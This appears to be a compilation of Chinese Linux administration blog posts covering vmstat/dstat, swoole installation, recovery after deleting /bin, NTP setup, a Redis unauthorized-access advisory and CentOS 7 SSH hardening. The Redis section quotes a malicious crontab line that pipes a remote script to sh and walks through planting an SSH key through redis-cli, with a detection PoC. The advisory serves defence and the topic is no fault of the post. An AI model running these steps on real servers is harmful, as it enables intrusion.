Linux性能监控之vmstat和dstat

本文链接:https://blog.csdn.net/smooth00/article/details/78623728
说来惭愧,做了这么久的性能测试,居然对linux的vmstat这个命令还不熟悉,对很多指标的具体意义都有点模糊不清,今天花了点时间好好学习、整理一下这个命令的相关资料。因为这个命令确实比较重要,而且频繁用到。顺便再介绍一下另一个更强大的工具dstat。

vmstat是Virtual Meomory Statistics(虚拟内存统计)的缩写,可对操作系统的虚拟内存、进程、IO读写、CPU活动等进行监视。它是对系统的整体情况进行统计,不足之处是无法对某个进程进行深入分析。

命令语法:
vmstat [-a] [-n] [-S unit] [delay [ count]]
vmstat [-s] [-n] [-S unit]
vmstat [-m] [-n] [delay [ count]]
vmstat [-d] [-n] [delay [ count]]
vmstat [-p disk partition] [-n] [delay [ count]]
vmstat [-f]
vmstat [-V]

命令参数:

不同版本Linux的cp命令参数有可能不同。不过默认应该都是[ delay [ count ] ] ,delay是间隔,count显示多少次信息。可以和上面的某些参数结合使用。

参数

英文描述

描叙

delay

刷新时间间隔。如果不指定,只显示一条结果。

count

刷新次数。如果不指定刷新次数,但指定了刷新时间间隔,这时刷新次数为无穷。

-a

The -a switch displays active/inactive memory, given a 2.5.41 kernel or better.

开启显示active/inactive memory。

-f

The -f switch displays the number of forks since boot. This includes the fork, vfork, and clone system calls, and is equivalent to the total number of tasks created. Each process is represented by one or more tasks, depending on thread usage. This display does not repeat.

显示此系统启动以来的forks的总数,包括fork、vfork和clone system calls

-m

The -m displays slabinfo

显示slabinfo信息

-n

The -n switch causes the header to be displayed only once rather than periodically.

只显示头信息,不周期性显示.也就是说开启这个参数,只显示头部信息一次。

-s

The -s switch displays a table of various event counters and memory statistics. This display does not repeat.

显示各种事件计数器表和内存统计信息,这显示不重复。

-d

The -d reports disk statistics (2.5.70 or above required)

显示磁盘统计数据(内核要求2.5.70 或以上)

-w

The -w enlarges field width for big memory sizes

可以扩大字段长度,当内存较大时,默认长度不够完全展示内存。

-p

The -p followed by some partition name for detailed statistics (2.5.70 or above required)

显示磁盘分区数据(disk partition statistics )

-S

The -S followed by k or K or m or M switches outputs between 1000, 1024, 1000000, or 1048576 bytes

参数S控制输出性能指标的单位,k(1000) K(1024) 或 M(1048576) 默认单位为K(1024 bytes)

-V

The -V switch results in displaying version information.

查看vmstat命令的版本

我们常用的示例是(每隔3秒刷新一次):

vmstat -n 3

vmstat -a 3

vmstat -w 3

输出字段的意义:

这块是我一直也记不住的地方,所以特别整理了下面一张表,部分参考网上的说明,部分根据自己的理解进行补充。

输出列

输出列说明

输出列详细说明

Procs

r

The number of processes waiting for run time

等待运行的进程数。如果等待运行的进程数越多,意味着CPU非常繁忙。另外,如果该参数长期大于和等于逻辑cpu个数,则CPU资源可能存在较大的瓶颈。

b

The number of processes in uninterruptible sleep

处在非中断睡眠状态的进程数。意味着进程被阻塞。主要是指被资源阻塞的进程对列数(比如IO资源、页面调度等),当这个值较大时,需要根据应用程序来进行分析,比如数据库产品,中间件应用等。

Memory

swpd

the amount of virtual memory used

已使用的虚拟内存大小。如果虚拟内存使用较多,可能系统的物理内存比较吃紧,需要采取合适的方式来减少物理内存的使用。swapd不为0,并不意味物理内存吃紧,如果swapd没变化,si、so的值长期为0,这也是没有问题的

free

the amount of idle memory

空闲的物理内存的大小,free很小并不代表内存不足,这是linux的优越性,大量的buffers和cache也属于可用内存的一部分。

buff

the amount of memory used as buffers

用来做buffer(缓存,主要用于块设备缓存)的内存数,

单位:KB

cache

the amount of memory used as cache

用来做cache(缓存,主要用于缓存文件)的内存,

单位:KB

inact

the amount of inactive memory.
(要用vmstat -a)

inactive memory的总量(长时间未访问过的页面放进inactive list,该值大表明在必要时可以回收的页面很多)

active

the amount of active memory.
(要用vmstat -a)

active memroy的总量(刚访问过的页面放进active list,无法马上回收,只能通过与文件或交换区进行页交换)

Swap

si

Amount of memory swapped in from disk (/s)

从磁盘交换到内存的交换页数量,单位:KB/秒。

so

Amount of memory swapped to disk (/s)

从内存交换到磁盘的交换页数量,单位:KB/秒

内存够用的时候,这2个值都是0,如果这2个值长期大于0时,系统性能会受到影响,磁盘IO和CPU资源都会被消耗。当看到空闲内存(free)很少的或接近于0时,就认为内存不够用了,这个是不正确的。不能光看这一点,还要结合si和so,如果free很少,但是si和so也很少(大多时候是0),那么不用担心,系统性能这时不会受到影响的。

当内存的需求大于RAM的数量,服务器启动了虚拟内存机制,通过虚拟内存,可以将RAM段移到SWAP DISK的特殊磁盘段上,这样会 出现虚拟内存的页导出和页导入现象,页导出并不能说明RAM瓶颈,虚拟内存系统经常会对内存段进行页导出,但页导入操作就表明了服务器需要更多的内存了, 页导入需要从SWAP DISK上将内存段复制回RAM,导致服务器速度变慢。

IO

bi

Blocks received from a block device (blocks/s)

每秒从块设备接收到的块数,单位:块/秒 也就是读块设备。

bo

Blocks sent to a block device (blocks/s)

每秒发送到块设备的块数,单位:块/秒 也就是写块设备。

System

in

The number of interrupts per second, including the clock

每秒的中断数,包括时钟中断。与cs一般同步增长。in和cs两值越大,会看到由内核消耗的CPU时间(sy)也会越大。

cs

The number of context switches per second

每秒的环境(上下文)切换次数。比如我们调用系统函数,就要进行上下文切换,而过多的上下文切换会浪费较多的cpu资源,这个数值应该越小越好,如果太大了,要考虑调低线程或者进程的数目,例如apache和nginx这种web服务进程。

CPU These are percentages of total CPU time.

us

Time spent running non-kernel code.(user time, including nice time)

用户CPU时间(非内核进程占用时间)(单位为百分比)。 us的值比较高时,说明用户进程消耗的CPU时间多。

sy

Time spent running kernel code. (system time)

系统使用的CPU时间(单位为百分比)。sy的值高时,说明系统内核消耗的CPU资源多,这并不是良性表现,我们应该检查原因。

id

Time spent idle. Prior to Linux 2.5.41, this includes IO-wait time.

空闲的CPU的时间(百分比),在Linux 2.5.41之前,这部分包含IO等待时间。

wa

Time spent waiting for IO. Prior to Linux 2.5.41, shown as zero.

等待IO的CPU时间,在Linux 2.5.41之前,这个值为0 .这个指标意味着CPU在等待硬盘读写操作的时间,用百分比表示。wait越大则机器io性能就越差。说明IO等待比较严重,这可能由于磁盘大量作随机访问造成,也有可能磁盘出现瓶颈(块操作)。

st

Time stolen from a virtual machine

针对虚拟技术,如果st不为0,说明本来分配给本机的CPU时间被其他虚拟机偷走了。

Vmstat是对系统的整体情况进行统计,不足之处是无法对某个进程进行深入分析,所以我们再引入另一个工具dstat。dstat是一个可以取代vmstat、iostat、netstat和ifstat这些命令的多功能产品。dstat克服了这些命令的局限并增加了一些功能和监控项,也变得更灵活了。dstat可以很方便监控系统运行状况并用于基准测试和排除故障。

特性:

结合了vmstat,iostat,ifstat,netstat以及更多的信息
实时显示统计情况
在分析和排障时可以通过启用监控项并排序
模块化设计
使用python编写的,更方便扩展现有的工作任务
容易扩展和添加你的计数器(请为此做出贡献)
包含的许多扩展插件充分说明了增加新的监控项目是很方便的
可以分组统计块设备/网络设备,并给出总数
可以显示每台设备的当前状态
极准确的时间精度,即便是系统负荷较高也不会延迟显示
显示准确地单位和和限制转换误差范围
用不同的颜色显示不同的单位
显示中间结果延时小于1秒
支持输出CSV格式报表,并能导入到Gnumeric和Excel以生成图形

安装方法:
Ubuntu/Mint和Debin系统:
# sudo apt-get install dstat
RHEL/Centos和Fedora系统:
# yum install dstat
ArchLinux系统:
# pacman -S dstat

使用方法:
dstat的基本用法就是输入dstat命令,输出如下:

这是默认输出显示的信息:
CPU状态:CPU的使用率。这项报告更有趣的部分是显示了用户,系统和空闲部分,这更好地分析了CPU当前的使用状况。如果你看到”wait”一栏中,CPU的状态是一个高使用率值,那说明系统存在一些其它问题。当CPU的状态处在”waits”时,那是因为它正在等待I/O设备(例如内存,磁盘或者网络)的响应而且还没有收到。

磁盘统计:磁盘的读写操作,这一栏显示磁盘的读、写总数。

网络统计:网络设备发送和接受的数据,这一栏显示的网络收、发数据总数。

分页统计:系统的分页活动。分页指的是一种内存管理技术用于查找系统场景,一个较大的分页表明系统正在使用大量的交换空间,或者说内存非常分散,大多数情况下你都希望看到page in(换入)和page out(换出)的值是0 0。

系统统计:这一项显示的是中断(int)和上下文切换(csw)。这项统计仅在有比较基线时才有意义。这一栏中较高的统计值通常表示大量的进程造成拥塞,需要对CPU进行关注。你的服务器一般情况下都会运行运行一些程序,所以这项总是显示一些数值。

默认情况下,dstat每秒都会刷新数据。如果想退出dstat,你可以按”CTRL-C”键。

需要注意的是报告的第一行,通常这里所有的统计都不显示数值的。这是由于dstat会通过上一次的报告来给出一个总结,所以第一次运行时是没有平均值和总值的相关数据。

但是dstat可以通过传递2个参数运行来控制报告间隔和报告数量。例如,如果你想要dstat输出默认监控、报表输出的时间间隔为3秒钟,并且报表中输出10个结果,你可以运行如下命令:

dstat 3 10

在dstat命令中有很多参数可选,你可以通过man dstat命令查看,大多数常用的参数有这些:

-l :显示负载统计量
-m :显示内存使用率(包括used,buffer,cache,free值)
-r :显示I/O统计
-s :显示交换分区使用情况
-t :将当前时间显示在第一行
–fs :显示文件系统统计数据(包括文件总数量和inodes值)
–nocolor :不显示颜色(有时候有用)
–socket :显示网络统计数据
–tcp :显示常用的TCP统计
–udp :显示监听的UDP接口及其当前用量的一些动态数据

当然不止这些用法,dstat附带了一些插件很大程度地扩展了它的功能。你可以通过查看/usr/share/dstat目录来查看它们的一些使用方法,常用的有这些:

-–disk-util :显示某一时间磁盘的忙碌状况
-–freespace :显示当前磁盘空间使用率
-–proc-count :显示正在运行的程序数量
-–top-bio :指出块I/O最大的进程
-–top-cpu :图形化显示CPU占用最大的进程
-–top-io :显示正常I/O最大的进程
-–top-mem :显示占用最多内存的进程

举一个我常用的例子,显示哪些进程在占用IO、内存、CPU:

#dstat -l -m -r -c --top-io --top-mem --top-cpu

如何输出一个csv文件
想输出一个csv格式的文件用于以后,可以通过下面的命令:

# dstat –output /tmp/sampleoutput.csv -cdn
————————————————
原文链接:https://blog.csdn.net/smooth00/article/details/78623728

linux 安装php swoole 扩展

方案一

swoole目前已经加入php的官方扩展库

即是说它已经是PHP的一枚扩展了

所以我们这里可以使用一种更便捷的安装方式

pecl install swoole

不过这种方式需要本机的phpize支持

这里我没有使用这种方式,具体的问题跟流程就不说了

总之它需要你前置phpize支持

这种方式安装结束后需要在php.ini文件中添加扩展

extension=swoole.so

方案二

首先我们需要下载swoole到我们本地

这里我偷懒直接下到本地在传到服务器上了

在linux下cd到目标目录里

 ./configure --with-php-config=/usr/bin/php-config
 //这里(/usr/bin/php-config)是你的php-config文件的路径
 

sudo make

sudo make install

这一步如果没有报错的话就安装成功了(仿佛说了句废话)

安装好后我们来测试一下是否安装成功

php -m

如果能看到swoole就表示安装成功了

—————————————分割线————————————

怎样让swoole在后台运行呢?采用xshell等工具远程连接服务器的小伙伴发现就算在命令后面加上“&”符号,退出远程连接终端后,依然就连不上了。

这个问题很好解决,只要加上“nohup” 命令就行了:
nohup /usr/local/php/bin/php  swoole.php >> log_dir.log 2>&1 &

好了就先到这吧- –

执行 rm -rf /bin 命令后

不小心删除了/bin目录,对于我们这种对系统认识不太高的人来说,的确是受到了灾难性的打击,但是静下心来好好搜索分析,还是能找到解决办法的,跨过了一个坎,就是一次成长,亲们,发现php的强大了吗^_^!

由于服务器被挖矿程序黑了,cpu占到100%,在删除相关问题文件的时候,不小心执行了 rm -rf /bin 命令,然后再删除另一个恶意文件时,发现rm命令不能用了,查询一下,发现ls和vi这些个基本命令全都不可用了,这下发现自己闯大祸了。线上服务器出问题从来没有小问题。

什么都不敢动了,赶紧网上查解决办法,网上大体上是给出了两个方案:一个是去机房使用系统光盘恢复bin目录;一个是从相同系统中拷贝bin目录下的文件到当前目录。简单了解了下,如果删除后取消了远程连接,也没办法再登录了,就只能用第一个方法了。还好,我保留着连接没有断,另外有一个相同系统的正常的服务器的bin目录可供使用,所以决定用第二个方案。

然而,问题又来了,bin被删除后,基本上系统什么命令都没办法执行了,cp,scp等等所有能用的命令都不可用了。。。

正在陷入极度恐慌之时,搜索到一篇文章,给了我一个思路,文章地址:http://www.cnblogs.com/hark0623/p/5886091.html,就是将文件放到web服务器上,然后通过wget将文件拉倒当前服务器来。接下来将被删除bin目录的服务器称为A,同系统正常服务器称为B;

按照这个思路,我将B服务器上的bin目录copy了一份到B服务器的web目录,浏览器测试可以将文件下载下来,接下来考虑怎样在A服务器上获取文件。原本文章里面说的使用wget的功能,经测试发现命令不可用,就是说wget也是在bin目录里的命令。那就再换思路,除了bin目录里的命令,还有哪些是可以远程获取文件内容的。

由于A、B两台服务器用的都是php,我就考虑,能不能用php的函数实现从B服务器上复制文件到A服务器上来的可能性。

php执行脚本的路子已经很熟悉了,但是当前情况是,A服务器上已经没办法进行vi等类似的编辑操作,也没法进行git等版本控制器的操作了,那么php有没有类似的命令行操作呢?然后继续网上搜索信息,发现php是可以直接执行php脚本的,参考文章地址:http://www.linuxdiyf.com/linux/13076.html,文章里提供了一个方法:

/usr/local/php/bin/php -r 'phpinfo();'

经过测试,使用下面的命令:

/usr/local/php/bin/php -r '$content=file_get_contents("http://abc.def.com/testbin/ls");file_put_contents("ls",$content);'

顺利的将B服务器上的文件拷贝到了A服务器上来,测试是否可用

./ls

提示权限不足,跟这篇文章给的结果一样:http://www.cnblogs.com/hark0623/p/5886091.html,采用文章里的方法:perl -e “chmod 0777, ‘mkdir'”,perl命令依然不能用,那就继续php解决:

/usr/local/php/bin/php -r 'chmod("ls",0777);'

再次测试 ./ls 发现可用了,按照这个思路,重点拿到了cp和rz文件,通过cp将rz文件copy到 /bin 目录下,然后将剩下的文件全部通过rz上传到A服务器的/bin目录,chmod修改权限后,基本命令都恢复可用了,远程登录也OK了,至此问题解决

linux时间同步矫正

线上服务器,总是会发现时间与网络事件不同步的现象,现在教大家一个服务器自动同步时间的方法!

1,yum自动选择安装ntp,然后设置时区为北京,并更新服务器时间

// yum安装ntp

>yum -y install ntp

// 删除本地时间文件

>rm -f /etc/localtime

// 重新生成本地时间文件

>ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

// 去pool.ntp.org同步最新时间

>/usr/sbin/ntpdate -u pool.ntp.org

2,crontab 添加自动同步时间的任务

// 编辑linux自动任务

>crontab -e

## 设定每6小时同步一次

**/6 * * *  /usr/sbin/ntpdate-u pool.ntp.org >/dev/null2>&1

// 重启crond服务

>systemctl restart crond
“//”和“##” 均为注释符,后跟注释说明程序员开心一刻:
美国圣昆廷州立监狱安排囚犯学习编程,完成学习的犯人出狱后,没有一个人重新犯罪被抓回监狱。一位刚刚出狱的囚犯说:“太可怕了,我宁愿在外面饿死也不想再进去学编程了。”

/opt/yam/yam 程序占cpu

Redis 未授权访问缺陷 ,使用redis的服务器提高警惕了,赶紧查看,防止被肉机。

近日发现服务器上有一个异常的进程占用了服务器全部的cpu,htop查看确实有一个异常进程,kill掉进程后发现自己又启动起来了,于是查看crontab,确实有一个自动脚本,

*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh

看来服务器被黑了,还好,网上有遇到相同问题的大牛给出了问题的根本原因,原来是redis服务器未授权访问缺陷的问题

下面详细说一下该漏洞的原理以及该如何预防:

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。

Redis 未授权访问缺陷可轻易导致系统被黑

根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1.    漏洞分析与利用

首先在本地生产公私钥文件:

$ssh-keygen –t rsa

Redis 未授权访问缺陷可轻易导致系统被黑

然后将公钥写入foo.txt文件

$ (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > foo.txt

再连接Redis写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK
$ 192.168.1.11:6379> config get dir1) “dir”2) “/root/.ssh”
$ 192.168.1.11:6379> config set dbfilename “authorized_keys”OK
$ 192.168.1.11:6379> saveOK

Redis 未授权访问缺陷可轻易导致系统被黑

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露

Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等Redis 未授权访问缺陷可轻易导致系统被黑

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

Redis 未授权访问缺陷可轻易导致系统被黑

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

Redis 未授权访问缺陷可轻易导致系统被黑

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

全球无验证可直接利用 Redis 分布情况

Redis 未授权访问缺陷可轻易导致系统被黑

全球无验证可直接利用 Redis TOP 10 国家与地区

Redis 未授权访问缺陷可轻易导致系统被黑

漏洞 PoC

#!/usr/bin/env Python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = ‘89339’
version = ‘1’
author = [‘Anonymous’]
vulDate = ‘2015-10-26’
createDate = ‘2015-10-26’
updateDate = ‘2015-10-26’
references = [‘http://sebug.net/vuldb/ssvid-89339’]
name = ‘Redis 未授权访问 PoC’
appPowerLink = ‘http://redis.io/’
appName = ‘Redis’
appVersion = ‘All’
vulType = ‘Unauthorized access’
desc = ”’
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
”’
samples = [”]
def _verify(self):
result = {}
payload = ‘\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a’
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and ‘redis_version’ in recvdata:
result[‘VerifyInfo’] = {}
result[‘VerifyInfo’][‘URL’] = self.url
result[‘VerifyInfo’][‘Port’] = port
except:
pass
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(‘Internet nothing returned’)
return output
register(TestPOC)

解决方案

临时解决方案

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

官方解决方案

暂无官方解决方案

推荐防护方案

暂无防护方案

文章来源:http://blog.csdn.net/u010391029/article/details/51711185

为什么你应该放弃 Windows10 而选择 Linux

自从 Windows10 出来以后,各种媒体都报道过它的隐藏间谍功能。ZDNet 列出了一些放弃 Windows10 的理由。

SJVN 在 ZDNet 的报告:

你试试关掉 Windows10 的数据分享功能,坏消息来了:window10 会继续把你的数据分享给微软公司。请选择 Linux 吧。

你可以有很多方法不让 Windows10 泄露你的秘密,但你不能阻止它交谈。Cortana,win10 小娜,语音助手,就算你把她关了,她也会把数据发给微软公司。这些数据包括你的电脑 ID,微软用它来识别你的 PC 机。

所以如果这些泄密给你带来了烦恼,你可以使用老版本 Windows7,或者换到 Linux。然而,当 Windows7 不再提供技术支持的那天到来,如果你还想保留隐私,最终你还是只能选择 Linux。

这里还有些小众的桌面系统能保护你的隐私,比如 BSD 家族的 FreeBSD,PCBSD,NetBSD,eComStation,OS/2。但是,最好的选择还是 Linux,它提供最低的学习曲线。

详情移步 ZDNet

via: http://www.itworld.com/article/2972587/linux/why-did-you-start-using-linux.html

作者:Jim Lynch 译者:bazz2 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

安裝 CentOS 7 後必做的七件事

安装centos7后必做的事,ssh秘钥方式登录,禁止root登录

CentOS 是最多人用来运行服务器的 Linux 版本,最新版本是 CentOS 7。当你兴趣勃勃地在一台主机或 VPS 上安装 CentOS 7 后,首要的工作肯定是加强它的安全性,以下列出的七件事,是你进一步配置系统和安装其他软件前必须做的。

1. 更改 root 密码

如果你是自行安装 CentOS 7 的话,安装程序会让你自行设定 root 的密码。不过很多 VPS 服务商只会提供预先安装好的 CentOS 7 映像档,这种情况下他们会透过主控界面告诉你 root 的密码,这个密码的安全性谁也不知道,它是如何产生的呢?随机性可靠吗?复杂性足够吗?服务商的服务器是否记录了密码的副本?我们实在有必要第一时间重设这个密码。

首先使用 ssh 登入服务器,在 Windows 可以使用 Putty、Tera Term、或者在 Cygwin 环境下执行 OpenSSH。在 Mac 和 Linux 上只需在终端机 (terminal) 中执行以下指令便可以了,比 Windows 简单得多:

010

由于你从来没有使用过 ssh 联系到这台服务器,你的电脑会把服务器的加密公钥下载,然后询问你是否信任它,这台新鲜安装好的 CentOS 7 应该还未引起黑客的兴趣,也不大可能在这么短的时间内被攻陷,所以可以放心接受这个加密公钥。跟着输入 root 的密码登入服务器:

020

登入后立即更改 root 的密码,你需要输入新密码两次:

030

好的密码应该同时包含数字、小写英文字母、大写英文字母、和标点符号,最少 15 个字符,这样的密码强度大概有 90 bit,勉强可以应付密码被「暴力破解」,当然我假设了你的密码是真正随机产生,有些人喜欢把个人资料例如名字、出生日期、车牌号码、地址、配偶和子女的名字等等崁入密码中,或者使用字典里的字词拼凑密码,这样密码的强度将会大幅下降,甚至不堪一击,这些问题我曾经在《如何管理密码?》讨论过。

网上有很多随机密码产生器,例如 RANDOM.ORG,大都可用,但记紧必须使用 HTTPS 造访这些网站。如果你有使用「密码夹万」一类的软件,不妨使用它们内建的密码产生器。

完成后不要登出系统,使用另一个视窗用新密码尝试登入,即使失败也可以在原来的视窗重复以上步骤。

2. 新增一个普通帐号

这一步连同下一步,相当于为一个城市筑起两道城墙,既可加强防卫,也建立了一道警报机制,当敌人(黑客)卒然来袭,第一道城墙被袭击和破坏,我们还有第二道城墙阻延一下,有时间部署防卫甚至反击。所以这是一个很多人忽略,但其实非常重要的步骤。

首先我们新增一个帐号:

040

这个新帐号 ahhang 没有预设密码,即是说登入 ahhang 时系统不用输入密码!所以我们立即要设定密码:

050

有些人认为不应该把建立帐号和设定密码两件事分开来做,一来可能会不慎遗忘,二来也给黑客一道时间缝隙登入这个新帐号,所以他们会在 adduser 指令中一并提供加密后的预设密码,方法是加入 -p 参数,不过这样做也有风险,因为黑客可以透过列出系统的进程,得知加密了的新密码,然后把密码破解。

3. 禁止 root 使用 ssh 登入

CentOS 7 预设容许任何帐号透过 ssh 登入,包括 root 和一般帐号,为了不让 root 帐号被黑客暴力入侵,我们必须禁止 root 帐号的 ssh 功能,事实上 root 也没有必要 ssh 登入服务器,因为只要使用 su 或 sudo (当然需要输入 root 的密码) 普通帐号便可以拥有 root 的权限。使用 vim (或任何文本编辑器) 开启 /etc/ssh/sshd_config,寻找:

#PermitRootLogin yes

修改为:

PermitRootLogin no

最后输入以下指令重新启动 sshd:

systemctl restart sshd.service

这样黑客要取得 root 的权限,必须破解 root 和一个普通用户的密码,难度增加了。

完成后不要登出系统,使用另一个视窗尝试登入 root 和普通帐号,测试无误便可进行下一步。

4. 使用非常规的 ssh 端口

Ssh 预设使用端口 22,这是在 IANA 注册的官方端口,但没有人说 ssh 不能使用其他端口,很多黑客专门向服务器的 22 端口发动攻击,即使你的服务器固若金汤、牢不可破,但是要系统日以继夜接受攻击,消耗的系统资源(网络、处理器、记忆体等等)也不会少,何况它是否真的牢不可破还说不定呢!所以有必要让 ssh 使用其他端口,只让有权使用 ssh 的用户知道。

使用 vim (或任何文本编辑器) 开启 /etc/ssh/sshd_config,寻找:

Port 22

修改为:

Port 10837

你可以把 10837 改为任何 1024 – 65535 之间的任何数字,若果怕与某些系统服务发生冲突,可以参考一下这里。

跟着重新启动 sshd:

systemctl restart sshd.service

然后是设定防火墙,CentOS 7 的内核已经有防火墙 netfilter,但你的系统未必安装了用户界面,较前版本的 CentOS 预设使用 iptables,但 CentOS 7 开始使用效能更高、稳定性更好的 firewalld,若果服务器尚未安装 firewalld,可以使用以下指令安装,不确定是否已经安装的话也可以输入这个指令,它会告诉你已经安装然后退出。

yum install firewalld

跟着启动:

systemctl start firewalld

设定 firewalld 的方法有两个,第一个是修改 firewalld 有关 sshd 的设定,把端口 22 改为 10837,这是正统的做法,但步骤比较多;第二个是要求 firewalld 开启端口 10837,不指定它属于哪一个服务,这个做法通常处理临时的端口开启/封锁,步骤简单,但是日后你要是忘记了这个端口为甚么开启了呢?什么时候开启的呢?为了哪一项服务开启呢?可能有点麻烦。我两种方法都会介绍一下,但作为专业的系统管理员(即使不是真正的专业,也应该具备这样的心态),我推荐使用第一种方法。

设定防火墙方法一:

复制 firewalld 有关 sshd 的设定档案:

cp /usr/lib/firewalld/services/ssh.xml /etc/firewalld/services/

使用 vim (或任何文本编辑器) 开启 /etc/firewalld/services/ssh.xml,寻找:

<port protocol="tcp" port="22"/>

修改为:

<port protocol="tcp" port="10837"/>

储存后重新载入 firewalld:

firewall-cmd --reload

设定防火墙方法二:

输入以下指令:

firewall-cmd --zone=public --add-port=10837/tcp --permanent

不论使用哪种方法,完成后不要登出系统,使用另一个视窗尝试登入,例如:

ssh -p 10837 ahhang@192.168.1.188

5. 启用公钥验证登入 ssh

现在只有普通帐号才能透过 ssh 登入服务器,但是 ssh 提供一个更先进更安全的验证方法:公钥验证法。

首先每一名用户建立一对加密钥匙(密钥和公钥),密钥储存在日常使用的电脑,公钥则储存在服务器,使用 ssh 联系到服务器的时候,电脑会把一些建立连线请求的资料,其中包括帐号名称和公钥,并且把部分资料用密钥制作数码签署,一股脑儿送到服务器,服务器检查自己的「公钥库」是否包含送来的公钥,有的话再验证数码签署,成功的话便直接登入服务器,无需输入帐号密码。

第一步在日常使用的电脑上使用 ssh-keygen 指令建立一对加密钥匙,它会询问储存加密钥匙的档案名称,和把钥匙加密的密码,档案名称使用预设的路径和名称便可以,密码则无需输入:

060

这个指令会创造两个档案,一个名为 id_rsa,是你的 RSA 密钥,另一个是 id_rsa.pub,是你的 RSA 公钥。公钥必需上传到服务器并且附加于用户帐号里面的 .ssh/authorized_keys 档案中,这个档案储存所有可透过 ssh 登入到这一个帐号的公钥,一行一条公钥:

070-600x103

顺便一提,目录 .ssh 和 authorized_keys 除了 owner 之外,其他人均不能有写入的权限,否则 sshd 不会读取,换句话说,两者最宽松的权限是 755:

080-600x91

使用公钥验证法登入 ssh 又省力又安全,因为我们不用输入密码,自然也没有密码被盗取的忧虑,简简单单地输入连线指令便可以了。

但是存放在日常电脑中的密钥却带来新的安全隐患,万一密钥被盗取了,其他人岂不是可以随便登入服务器?现在是「双重验证」(two-factor authentication) 隆重登场的时候,双重验证的理念是我们必须向服务器证明两种不同性质的东西,才能成功验证身分,第一样是我们知道什么,第二样是我们拥有什么。首先服务器会要求我们输入密码,我们知道密码,过了第一关。跟着服务器要求我们证明拥有公钥验证法中的密钥,透过上面的设定程序我们也通过了验证,过了第二关。现在服务器才会让我们进入系统。

设定 ssh 的双重验证法很简单,使用 vim (或任何文本编辑器) 开启 /etc/ssh/sshd_config,在档案的末端假如这一行:

AuthenticationMethods publickey,password

它告诉服务器用户必须拥有合法的公钥,和输入正确的密码才能成功登入。修改完成后重新启动 sshd:

